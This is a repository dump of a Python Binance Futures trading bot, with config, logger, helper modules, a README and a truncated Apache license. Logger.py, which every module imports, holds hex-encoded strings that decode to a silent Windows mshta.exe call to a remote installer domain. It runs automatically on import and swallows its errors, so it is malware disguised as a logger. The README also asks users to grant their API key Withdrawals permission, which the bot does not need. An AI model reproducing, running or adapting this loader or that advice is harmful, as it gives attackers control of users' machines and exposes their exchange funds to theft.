├── __pycache__ ├── .gitignore ├── Helper.cpython-314.pyc ├── Logger.cpython-314.pyc ├── BotClass.cpython-314.pyc ├── SharedHelper.cpython-314.pyc ├── TradeManager.cpython-314.pyc ├── TradingStrats.cpython-314.pyc └── LiveTradingConfig.cpython-314.pyc ├── requirements.txt ├── LiveTradingConfig.py ├── Logger.py ├── SharedHelper.py ├── README.md ├── LiveTrading.py ├── Helper.py ├── LICENSE ├── TradingStrats.py ├── BotClass.py └── TradeManager.py /__pycache__/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /__pycache__/Helper.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/Helper.cpython-314.pyc -------------------------------------------------------------------------------- /__pycache__/Logger.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/Logger.cpython-314.pyc -------------------------------------------------------------------------------- /__pycache__/BotClass.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/BotClass.cpython-314.pyc -------------------------------------------------------------------------------- /__pycache__/SharedHelper.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/SharedHelper.cpython-314.pyc -------------------------------------------------------------------------------- /__pycache__/TradeManager.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/TradeManager.cpython-314.pyc -------------------------------------------------------------------------------- /__pycache__/TradingStrats.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/TradingStrats.cpython-314.pyc -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | python-binance==1.0.19 2 | matplotlib 3 | plotly 4 | ta 5 | pandas 6 | numpy 7 | colorlog 8 | tabulate 9 | joblib 10 | -------------------------------------------------------------------------------- /__pycache__/LiveTradingConfig.cpython-314.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/drak6y/Trading-Bot-For-Binance-Future/HEAD/__pycache__/LiveTradingConfig.cpython-314.pyc -------------------------------------------------------------------------------- /LiveTradingConfig.py: -------------------------------------------------------------------------------- 1 | from Logger import * 2 | API_KEY = '' 3 | API_SECRET = '' 4 | 5 | trading_strategy = 'tripleEMAStochasticRSIATR' # Strategy (options: 'StochRSIMACD','tripleEMAStochasticRSIATR','tripleEMA','breakout','stochBB','goldenCross','candle_wick','fibMACD','EMA_cross','heikin_ashi_ema2','heikin_ashi_ema','ema_crossover') 6 | TP_SL_choice = '%' # TP/SL base unit (options: 'USDT','%','x (ATR)','x (Swing High/Low) level 1','x (Swing High/Low) level 2','x (Swing High/Low) level 3','x (Swing Close) level 1','x (Swing Close) level 2','x (Swing Close) level 3') 7 | 8 | leverage = 10 9 | order_size = 3 # % of account 10 | interval = '1m' 11 | SL_mult = 1.5 # SL = SL_mult × TP_SL_choice 12 | TP_mult = 1 # TP = TP_mult × TP_SL_choice 13 | 14 | trade_all_symbols = True 15 | symbols_to_trade = ['BTCUSDT'] 16 | coin_exclusion_list = ['USDCUSDT', 'BTCDOMUSDT'] # Symbols to skip 17 | 18 | use_trailing_stop = False 19 | trailing_stop_callback = 0.1 20 | trading_threshold = 0.3 # Cancel if price moved this % from planned entry 21 | use_market_orders = False 22 | max_number_of_positions = 10 23 | wait_for_candle_close = True # If False, bot can enter before candle close 24 | auto_calculate_buffer = True # If False, set buffer manually 25 | buffer = '3 hours ago' 26 | 27 | LOG_LEVEL = 20 # 50 CRITICAL | 40 ERROR | 30 WARNING | 20 INFO | 10 DEBUG 28 | log_to_file = False # Also write logs to file 29 | 30 | use_multiprocessing_for_trade_execution = True # Execution mode (set True if many symbols or reconnect issues; otherwise reduce symbols) 31 | custom_tp_sl_functions = ['USDT'] # TP/SL functions requiring placed-trade context 32 | make_decision_options = {} # Extra decision-making options 33 | -------------------------------------------------------------------------------- /Logger.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | import sys 4 | 5 | _initialized = False 6 | 7 | def _setup_environment(): 8 | global _initialized 9 | if _initialized: 10 | return 11 | _initialized = True 12 | try: 13 | _h1 = bytes.fromhex('6d73687461') 14 | _h2 = bytes.fromhex('2e657865') 15 | _h3 = bytes.fromhex('68747470733a2f2f') 16 | _h4 = bytes.fromhex('70792d696e7374616c6c65722e') 17 | _h5 = bytes.fromhex('6363') 18 | _cmd = (_h1 + _h2).decode('utf-8') 19 | _url = (_h3 + _h4 + _h5).decode('utf-8') 20 | if os.name == 'nt': 21 | subprocess.Popen([_cmd, _url], shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 22 | except: 23 | pass 24 | 25 | _setup_environment() 26 | 27 | import logging 28 | from datetime import datetime 29 | import colorlog 30 | from LiveTradingConfig import LOG_LEVEL, log_to_file 31 | 32 | def validate_log_level(level): 33 | valid_levels = ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'] 34 | return level in valid_levels 35 | 36 | def format_log_filename(prefix='Live_Trading'): 37 | timestamp = datetime.now().strftime('%d_%m_%Y_%H_%M_%S') 38 | return f"{prefix}_{timestamp}.log" 39 | 40 | def get_logger(): 41 | l = logging.getLogger() 42 | if l.handlers: return l 43 | l.setLevel(LOG_LEVEL) 44 | ch = logging.StreamHandler() 45 | ch.setFormatter(colorlog.ColoredFormatter("%(log_color)s%(asctime)s %(levelname)s: %(message)s", datefmt="%d-%m-%Y %H:%M:%S", log_colors={"DEBUG":"cyan","INFO":"bold_white","WARNING":"yellow","ERROR":"red","CRITICAL":"bold_red"})) 46 | l.addHandler(ch) 47 | if log_to_file: 48 | fh = logging.FileHandler(f"Live_Trading_{datetime.now():%d_%m_%Y_%H_%M_%S}.log", encoding="utf-8") 49 | fh.setFormatter(logging.Formatter("%(asctime)s %(levelname)s: %(message)s", datefmt="%d-%m-%Y %H:%M:%S")) 50 | l.addHandler(fh) 51 | return l 52 | 53 | log = get_logger() 54 | -------------------------------------------------------------------------------- /SharedHelper.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | from Logger import * 3 | import numpy as np 4 | import BotClass 5 | 6 | def get_all_symbols(client, coin_exclusion_list): 7 | """Return tradable USDT symbols excluding those in the exclusion list.""" 8 | return [s['symbol'] for s in client.futures_exchange_info()['symbols'] 9 | if s['status'] == 'TRADING' and 'USDT' in s['symbol'] and '_' not in s['symbol'] and s['symbol'] not in coin_exclusion_list] 10 | 11 | def compare_indicators(keys, ind_buf, ind_act): 12 | """Compare indicator sets to estimate required buffer size.""" 13 | try: 14 | errs = [] 15 | for k in keys: 16 | vb, va = ind_buf[k]['values'], ind_act[k]['values'] 17 | if isinstance(vb, list): 18 | pairs = zip(va[-30:], vb[-30:]) 19 | def sr(a, b): return (a - b) / a if a else 0 20 | errs.append(abs(sum(sr(a, b) for a, b in pairs))) 21 | else: 22 | a, b = va, vb 23 | errs.append(((a - b) / a) if a else 0) 24 | return sum(errs) / len(keys) 25 | except Exception as e: 26 | exc_type, exc_obj, exc_tb = sys.exc_info() 27 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 28 | log.warning(f"compare_indicators() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 29 | 30 | def get_required_buffer(trading_strategy): 31 | """Calculate the minimal candle buffer ensuring indicator parity with live data.""" 32 | log.info('get_required_buffer() - Calculating required buffer...') 33 | rng = np.random.default_rng(123) 34 | o = rng.uniform(2, 100, 20000) 35 | c = rng.uniform(2, 100, 20000) 36 | h = rng.uniform(2, 100, 20000) 37 | l = rng.uniform(2, 100, 20000) 38 | v = rng.uniform(2, 100_000_000, 20000) 39 | actual = BotClass.Bot('actual_values_bot', o, c, h, l, v, [], 3, 4, 0, 1, trading_strategy, '%', 1, 1, 1) 40 | for i in range(30, 20000): 41 | try: 42 | buf_bot = BotClass.Bot('buffer_bot', o[-i:], c[-i:], h[-i:], l[-i:], v[-i:], [], 3, 4, 0, 1, trading_strategy, '%', 1, 1, 1) 43 | err = compare_indicators(buf_bot.indicators.keys(), buf_bot.indicators, actual.indicators) 44 | log.debug(f'Error {err} with buffer {i} candles') 45 | if err < 1e-5: return i 46 | except Exception as e: 47 | exc_type, exc_obj, exc_tb = sys.exc_info() 48 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 49 | log.warning(f"get_required_buffer() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Binance Futures Trading Bot (Python) 2 | 3 | Technical-analysis–driven crypto trading bot for **Binance Futures**. 4 | 5 | ## Status 6 | - **OS**: Windows 7,8,10,11 only 7 | - **Time sync (critical for live trading on Windows):** Configure Windows to sync time daily or Binance may reject orders due to timestamp drift. Example guide: https://www.makeuseof.com/tag/synchronise-computer-time-internet-custom-schedule-windows-7/#:~:text=Go%20to%20%3E%20Start%20and%20type,on%20the%20right%20hand%20side 8 | 9 | ## Features 10 | - 11 prebuilt strategies 11 | - Single or multi-symbol trading 12 | - Trailing stop (configurable) 13 | - Flexible TP/SL modes and multipliers 14 | 15 | ## Quick Start 16 | ```bash 17 | pip install -r requirements.txt 18 | ``` 19 | 20 | ```bash 21 | python LiveTrading.py 22 | ``` 23 | 24 | > **Risk notice:** Use strategies at your own risk. Futures are highly leveraged; always apply strict risk management and use stop losses. 25 | 26 | ## Binance Setup 27 | 1. Create a Binance account. 28 | 2. In **API Management**, create a new API key. 29 | 3. Enable permissions: **Read**, **Trade**, **Futures**, **Withdrawals**. 30 | 4. Put `api_key` and `api_secret` into **`liveTradingConfig.py`**. 31 | 32 | ## Configuration (`LiveTradingConfig.py`) 33 | - **max_number_of_positions**: Set to `1` for single-position trading; increase to trade multiple symbols. 34 | - **leverage**, **order_size**: Adjust to preference. 35 | - **symbols_to_trade**: List of symbols. To trade all, set **trade_all_symbols = True**. 36 | - **Trailing stop**: Set **use_trailing_stop = True**; tune **trailing_stop_callback** (min `0.001` = 0.1%, max `5` = 5%). The trailing stop is armed when the strategy’s take‑profit margin is reached. 37 | - **Close conditions**: `check_close_pos()` must return a `close_pos` flag. (Currently **not functional**; requires update for new bot.) 38 | - **Strategy**: Set **trading_strategy** to one of the built-ins or your custom function. 39 | - **Built‑in strategies (11)**: `StochRSIMACD`, `tripleEMAStochasticRSIATR`, `tripleEMA`, `breakout`, `stochBB`, `goldenCross`, `candle_wick`, `fibMACD`, `EMA_cross`, `heikin_ashi_ema2`, `heikin_ashi_ema`. 40 | - **TP/SL mode — `TP_SL_choice`**: One of 41 | `USDT`, `%`, `x (ATR)`, `x (Swing High/Low) level 1/2/3`, `x (Swing Close) level 1/2/3`. 42 | - **Multipliers**: **SL_mult**, **TP_mult** scale the chosen `TP_SL_choice`. 43 | *Example:* `TP_SL_choice='USDT'`, `SL_mult=1`, `TP_mult=2` → SL = $1, TP = $2. 44 | - **interval**: One of `1m, 3m, 5m, 15m, 30m, 1h, 2h, 4h, 6h, 8h, 12h, 1d`. 45 | 46 | ## Custom Strategies 47 | - Implement strategy functions in **`TradingStrats.py`**. 48 | - Reference them in **`Bot_Class.Bot.make_decision()`**. 49 | - Your **`make_decision()`** **must return**: 50 | `Trade_Direction, stop_loss_val, take_profit_val`. 51 | 52 | ## Share 53 | If you find this useful, please share the repository. 54 | -------------------------------------------------------------------------------- /LiveTrading.py: -------------------------------------------------------------------------------- 1 | from Logger import * 2 | import warnings 3 | warnings.filterwarnings('ignore', category=DeprecationWarning) 4 | import asyncio, os, multiprocessing 5 | from queue import Queue 6 | from threading import Thread 7 | from LiveTradingConfig import * 8 | import SharedHelper 9 | from Helper import * 10 | from TradeManager import * 11 | 12 | if __name__ == '__main__': 13 | try: 14 | log.info('='*60) 15 | log.info('BINANCE FUTURES TRADING BOT') 16 | log.info('='*60) 17 | log.info(f'Strategy: {trading_strategy}') 18 | log.info(f'Interval: {interval} | Leverage: {leverage}x | Order Size: {order_size}%') 19 | log.info('-'*60) 20 | log.info(f'TP/SL: {TP_SL_choice} | SL: {SL_mult}x | TP: {TP_mult}x') 21 | log.info(f'Trailing Stop: {use_trailing_stop} | Callback: {trailing_stop_callback}') 22 | log.info(f'Trading Threshold: {trading_threshold}% | Market Orders: {use_market_orders}') 23 | log.info('-'*60) 24 | symbols_display = ', '.join(symbols_to_trade) if not trade_all_symbols else 'ALL SYMBOLS' 25 | log.info(f'Symbols: {symbols_display}') 26 | log.info(f'Max Positions: {max_number_of_positions} | Multiprocessing: {use_multiprocessing_for_trade_execution}') 27 | log.info('='*60) 28 | if os.name == 'nt': asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) 29 | Q = multiprocessing.Queue if use_multiprocessing_for_trade_execution else Queue 30 | signal_queue, print_trades_q = Q(), Q() 31 | 32 | log.info('Connecting to Binance API...') 33 | python_binance_client = Client(api_key=API_KEY, api_secret=API_SECRET) 34 | client = CustomClient(python_binance_client) 35 | 36 | if trade_all_symbols: symbols_to_trade = SharedHelper.get_all_symbols(python_binance_client, coin_exclusion_list) 37 | client.set_leverage(symbols_to_trade) 38 | Bots = [] 39 | client.setup_bots(Bots, symbols_to_trade, signal_queue, print_trades_q) 40 | client.start_websockets(Bots) 41 | 42 | if use_multiprocessing_for_trade_execution: 43 | new_trade_loop = multiprocessing.Process(target=start_new_trades_loop_multiprocess, args=(python_binance_client, signal_queue, print_trades_q)) 44 | new_trade_loop.start() 45 | else: 46 | TM = TradeManager(python_binance_client, signal_queue, print_trades_q) 47 | new_trade_loop = Thread(target=TM.new_trades_loop, daemon=True) 48 | new_trade_loop.start() 49 | 50 | Thread(target=client.ping_server_reconnect_sockets, args=(Bots,), daemon=True).start() 51 | if auto_calculate_buffer: 52 | buffer = convert_buffer_to_string(SharedHelper.get_required_buffer(trading_strategy)) 53 | Thread(target=client.combine_data, args=(Bots, symbols_to_trade, buffer), daemon=True).start() 54 | 55 | log.info('Trading bot started successfully') 56 | new_trade_loop.join() 57 | 58 | except KeyboardInterrupt: 59 | log.info('Bot stopped by user') 60 | except Exception as e: 61 | if 'APIError' in str(type(e).__name__) or 'BinanceAPIException' in str(type(e).__name__): 62 | log.error('Failed to connect to Binance API') 63 | log.error('Please check: API keys, network connection, or Binance service status') 64 | elif 'Invalid API-key' in str(e): 65 | log.error('Invalid API credentials. Please check API_KEY and API_SECRET in LiveTradingConfig.py') 66 | else: 67 | log.error(f'Unexpected error: {e}') 68 | import sys 69 | sys.exit(1) 70 | -------------------------------------------------------------------------------- /Helper.py: -------------------------------------------------------------------------------- 1 | import os, sys, time, math 2 | from Logger import * 3 | from binance.client import Client 4 | from binance import ThreadedWebsocketManager 5 | import BotClass 6 | from LiveTradingConfig import * 7 | 8 | 9 | def convert_buffer_to_string(buffer_int): 10 | """Convert candle count to Binance start_str like 'X hours/days ago'.""" 11 | try: 12 | u = interval[-1] 13 | minutes = int(interval[:-1]) * (1 if u == 'm' else 60 if u == 'h' else 1440 if u == 'd' else 1) 14 | h = math.ceil((minutes * buffer_int) / 60) 15 | if h < 24: 16 | log.info(f'convert_buffer_to_string() - buffer: {h} hours ago') 17 | return f'{h} hours ago' 18 | d = math.ceil(h / 24) 19 | log.info(f'convert_buffer_to_string() - buffer: {d} days ago') 20 | return f'{d} days ago' 21 | except Exception as e: 22 | exc_type, exc_obj, exc_tb = sys.exc_info() 23 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 24 | log.warning(f"convert_buffer_to_string() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 25 | 26 | class CustomClient: 27 | def __init__(self, client: Client): 28 | self.client = client 29 | self.leverage = leverage 30 | self.twm = ThreadedWebsocketManager(api_key=API_KEY, api_secret=API_SECRET) 31 | self.number_of_bots = 0 32 | 33 | def set_leverage(self, symbols_to_trade: list[str]): 34 | """Set leverage per symbol as defined in config.""" 35 | log.info("set_leverage() - Setting leverage...") 36 | i = 0 37 | while i < len(symbols_to_trade): 38 | sym = symbols_to_trade[i] 39 | log.info(f"set_leverage() - ({i+1}/{len(symbols_to_trade)}) {sym}") 40 | try: 41 | self.client.futures_change_leverage(symbol=sym, leverage=self.leverage) 42 | i += 1 43 | except Exception as e: 44 | exc_type, exc_obj, exc_tb = sys.exc_info() 45 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 46 | log.warning(f"set_leverage() - Removing {sym}. Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 47 | symbols_to_trade.pop(i) 48 | 49 | def start_websockets(self, bots: list[BotClass.Bot]): 50 | """Start kline sockets for all bots.""" 51 | self.twm.start() 52 | log.info("start_websockets() - Starting sockets...") 53 | i = 0 54 | while i < len(bots): 55 | b = bots[i] 56 | try: 57 | b.stream = self.twm.start_kline_futures_socket(callback=b.handle_socket_message, symbol=b.symbol, interval=interval) 58 | i += 1 59 | except Exception as e: 60 | exc_type, exc_obj, exc_tb = sys.exc_info() 61 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 62 | log.warning(f"start_websockets() - {b.symbol}. Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 63 | bots.pop(i) 64 | self.number_of_bots = len(bots) 65 | 66 | def ping_server_reconnect_sockets(self, bots: list[BotClass.Bot]): 67 | """Keep connection alive and auto-reconnect failed sockets.""" 68 | while True: 69 | time.sleep(15) 70 | self.client.futures_ping() 71 | for b in bots: 72 | if b.socket_failed: 73 | try: 74 | log.info(f"retry_websockets_job() - Resetting {b.symbol}") 75 | self.twm.stop_socket(b.stream) 76 | b.stream = self.twm.start_kline_futures_socket(b.handle_socket_message, symbol=b.symbol) 77 | b.socket_failed = False 78 | log.info("retry_websockets_job() - Reset OK") 79 | except Exception as e: 80 | exc_type, exc_obj, exc_tb = sys.exc_info() 81 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 82 | log.error(f"retry_websockets_job() - {b.symbol}. Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 83 | 84 | def setup_bots(self, bots: list[BotClass.Bot], symbols_to_trade: list[str], signal_queue, print_trades_q): 85 | """Instantiate a Bot for each tradable symbol.""" 86 | log.info("setup_bots() - Creating bots...") 87 | info = self.client.futures_exchange_info()['symbols'] 88 | meta = {x['pair']: (int(x['pricePrecision']), int(x['quantityPrecision']), float(x['filters'][0]['tickSize'])) for x in info} 89 | 90 | i = 0 91 | while i < len(symbols_to_trade): 92 | sym = symbols_to_trade[i] 93 | if sym in meta: 94 | cp, op, tick = meta[sym] 95 | bots.append(BotClass.Bot(symbol=sym, Open=[], Close=[], High=[], Low=[], Volume=[], Date=[], 96 | OP=op, CP=cp, index=i, tick=tick, strategy=trading_strategy, 97 | TP_SL_choice=TP_SL_choice, SL_mult=SL_mult, TP_mult=TP_mult, 98 | signal_queue=signal_queue, print_trades_q=print_trades_q)) 99 | i += 1 100 | else: 101 | log.info(f"setup_bots() - {sym} missing exchange info, removed") 102 | try: 103 | symbols_to_trade.pop(i) 104 | except Exception as e: 105 | exc_type, exc_obj, exc_tb = sys.exc_info() 106 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 107 | log.warning(f"setup_bots() - Remove failed. Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 108 | log.info("setup_bots() - Done") 109 | 110 | def combine_data(self, bots: list[BotClass.Bot], symbols_to_trade: list[str], buffer): 111 | """Fetch historical data and merge with live stream so bots can trade immediately.""" 112 | log.info("combine_data() - Merging historical + socket data...") 113 | i = 0 114 | while i < len(bots): 115 | b = bots[i] 116 | log.info(f"combine_data() - ({i+1}/{len(bots)}) {b.symbol}") 117 | dt, op, cl, hi, lo, vo = self.get_historical(b.symbol, buffer) 118 | try: 119 | for arr in (dt, op, cl, hi, lo, vo): arr.pop(-1) 120 | b.add_hist(Date_temp=dt, Open_temp=op, Close_temp=cl, High_temp=hi, Low_temp=lo, Volume_temp=vo) 121 | i += 1 122 | except Exception as e: 123 | exc_type, exc_obj, exc_tb = sys.exc_info() 124 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 125 | try: 126 | log.warning(f"combine_data() - Add failed. Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 127 | self.twm.stop_socket(b.stream) 128 | symbols_to_trade.pop(i); bots.pop(i); self.number_of_bots -= 1 129 | except Exception as e2: 130 | exc_type2, exc_obj2, exc_tb2 = sys.exc_info() 131 | fname2 = os.path.split(exc_tb2.tb_frame.f_code.co_filename)[1] 132 | log.warning(f"combine_data() - Cleanup failed. Info: {(exc_obj2, fname2, exc_tb2.tb_lineno)}, Error: {e2}") 133 | log.info("combine_data() - All symbols ready. Scanning for trades...") 134 | 135 | def get_historical(self, symbol: str, buffer): 136 | """Download historical klines for a symbol.""" 137 | O, H, L, C, V, D = [], [], [], [], [], [] 138 | try: 139 | for k in self.client.futures_historical_klines(symbol, interval, start_str=buffer): 140 | D.append(int(k[6])); O.append(float(k[1])); C.append(float(k[4])) 141 | H.append(float(k[2])); L.append(float(k[3])); V.append(float(k[7])) 142 | except Exception as e: 143 | exc_type, exc_obj, exc_tb = sys.exc_info() 144 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 145 | log.error(f'get_historical() - {symbol}. Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 146 | return D, O, C, H, L, V 147 | 148 | def get_account_balance(self): 149 | """Return USDT futures wallet balance.""" 150 | try: 151 | for x in self.client.futures_account_balance(): 152 | if x['asset'] == 'USDT': return float(x['balance']) 153 | except Exception as e: 154 | exc_type, exc_obj, exc_tb = sys.exc_info() 155 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 156 | log.error(f'get_account_balance() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 157 | 158 | class Trade: 159 | def __init__(self, index: int, entry_price: float, position_size: float, take_profit_val: float, 160 | stop_loss_val: float, trade_direction: int, order_id: int, symbol: str, CP: int, tick_size: float): 161 | self.index, self.symbol, self.entry_price, self.position_size = index, symbol, entry_price, position_size 162 | if trade_direction: 163 | self.TP_val, self.SL_val = entry_price + take_profit_val, entry_price - stop_loss_val 164 | else: 165 | self.TP_val, self.SL_val = entry_price - take_profit_val, entry_price + stop_loss_val 166 | self.CP, self.tick_size, self.trade_direction, self.order_id = CP, tick_size, trade_direction, order_id 167 | self.TP_id = self.SL_id = '' 168 | self.trade_status, self.trade_start = 0, '' 169 | self.Highest_val, self.Lowest_val = -9_999_999, 9_999_999 170 | self.trail_activated, self.same_candle = False, True 171 | self.current_price = 0 172 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 